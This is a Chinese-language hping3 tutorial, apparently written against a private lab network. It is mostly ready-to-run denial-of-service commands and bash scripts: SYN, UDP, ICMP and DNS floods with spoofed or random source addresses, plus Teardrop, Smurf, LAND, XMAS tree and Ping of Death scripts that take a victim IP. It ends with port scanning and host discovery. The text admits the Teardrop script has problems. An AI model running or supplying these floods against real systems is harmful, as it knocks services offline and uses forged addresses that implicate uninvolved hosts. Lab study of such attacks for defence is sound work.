hping3工具使用介绍
端口扫描
sudo hping3 -I eth1 -S 192.168.180.133 -p 80
SYN Flood
默认协议:tcp
默认端口:随机
默认源地址:攻击者本机IP地址
通过eth1,发送SYN报文到 192.168.180.133:80。伪造源地址为192.168.180.131,时间间隔1000us。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 -a 192.168.180.131 -i u1000
通过eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,时间间隔1000us。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source -i u1000
通过 eth1,发送SYN报文到192.168.180.133:80,伪造随机源地址,发动洪水攻击,不会显示数据和丢包的统计。
sudo hping3 -I eth1 -S 192.168.180.133 -p 80 --rand-source --flood
sudo hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.180.133
sudo hping3 -S -P -U -p 80 --flood --rand-source 192.168.180.133
TCP Flood
sudo hping3 -SARUPF -p 80 --flood --rand-source 192.168.180.133
UDP Flood
发送udp报文到192.168.180.133:80
sudo hping3 --udp 192.168.180.133 -p 80
发送 udp 报文 到 192.168.1.1:80。伪造随机源地址,洪水攻击。
sudo hping3 --udp 192.168.180.133 -p 80 --rand-source --flood
sudo hping3 --udp -s 6666 -p 53 -a 29.29.29.29 --flood 192.168.180.133
ICMP Flood
发送icmp报文到192.168.180.133
sudo hping3 --icmp 192.168.180.133
发送icmp报文到192.168.180.133,伪造随机源IP地址,供水攻击
sudo hping3 --icmp 192.168.180.133 --rand-source --flood
sudo hping3 -q -n -d 200 --icmp --flood -a 28.28.28.28 192.168.180.133
DNS Flood
发送udp报文到192.168.180.133:53 伪造随机源IP地址,洪水攻击
sudo hping3 --udp 192.168.180.133 -p 53 --rand-source --flood
Teardrop攻击
基于hping3的测试脚本(脚本测试有问题)
#!/bin/bash
function teardrop()
{
local victim_ip=$1
local id_begin=$2
local id_end=$3
for(( id=${id_begin}; id<${id_end}; id++))
do
hping3 --icmp ${victim_ip} --data 1000 --id ${id} --count 1 --morefrag
hping3 --icmp ${victim_ip} --data 200 --id ${id} --count 1 --fragoff 400
done
}
teardrop $*
Smurf攻击
保存成shell脚本执行格式如下:
sudo ./smurf.sh 192.168.180.133 192.168.180.2
#!/bin/bash
function smurf ( )
{
local victim_ip=$1
local broadcast_ip=$2
hping3 --icmp ${broadcast_ip} -a ${victim_ip} --flood
}
smurf $*
手动测试
sudo hping3 -1 -a 192.168.180.133 192.168.180.255
XMAS TREE攻击
sudo hping3 -SFRP 192.168.180.133
LAND攻击
LAND攻击方式采用了特别构造的TCP SYN数据包(通常用于开启一个新的连接),使目标机器开启一个源地址与目标地址均为自身IP地址的空连接,持续地自我应答,消耗系统资源直至崩溃,这种攻击方法与SYN洪泛攻击并不相同
将下面代码保存为land.sh
#!/bin/bash
function land()
{
local victim_ip=$1
local victim_port=$2
hping3 -S ${victim_ip} -p ${victim_port} -a ${victim_ip} --flood
}
land $*
执行:sudo ./landhping3.sh 192.168.180.133 80
手动执行:sudo hping3 -n -S -p 80 -a 192.168.180.133 --flood 192.168.180.133
Ping of Death
其攻击原理是攻击者A向受害者B发送一些尺寸超大的ICMP(Ping命令使用的是ICMP报文)报文对其进行攻击(对于有些路由器或系统,在接收到一个这样的报文后,由于处理不当,会造成系统崩溃、死机或重启)
将下面代码保存为pingofdeath.sh
#!/bin/bash
function ping_of_death()
{
local victim_ip=$1
local id=186
local data_size=1450
let icmp_size=${data_size}+8
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag
for i in $(seq 50)
do
let offset=${i}*${icmp_size}
hping3 --icmp ${victim_ip} --data ${data_size} --id ${id} --count 1 --morefrag --fragoff $offset
done
}
ping_of_death $*
执行:sudo ./pingofdeath.sh 192.168.180.133
ICMP测试
sudo hping3 -1 192.168.180.133
数据包跟踪
sudo hping3 --traceroute -V -1 www.qq.com
端口扫描
单端口扫描:
sudo hping3 -I eth1 -p 22 -c 1 -S 192.168.180.133
返回的信息中含有flags=SA 表示端口是通的 SYN+ACK ,如果返回flags=RA 则表示端口不通
多端口扫描
sudo hping3 -I eth1 -8 1-1024 192.168.180.133
返回结果如下:
kali@kali:~/Downloads/ddos/hping3test$ sudo hping3 -I eth1 -8 1-1024 192.168.180.133
Scanning 192.168.180.133 (192.168.180.133), port 1-1024
1024 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name | flags |ttl| id | win | len |
+----+-----------+---------+---+-----+-----+-----+
All replies received. Done.
Not responding ports: (21 ftp) (22 ssh) (23 telnet) (25 smtp) (53 domain) (80 http) (111 sunrpc) (139 netbios-ssn) (445 microsoft-d) (512 exec) (513 login) (514 shell)
主机发现
for addr in $(seq 1 254);do hping3 192.168.180.$addr -c 1 --icmp >> result.txt & done
参考:
https://wp.baijinming.com/00/id=2576.html
https://man.linuxde.net/hping3
https://www.cnblogs.com/liuxinyustu/articles/12808972.html
https://mochazz.github.io/2017/07/23/hping3/
http://www.legendwolf.com/?id=57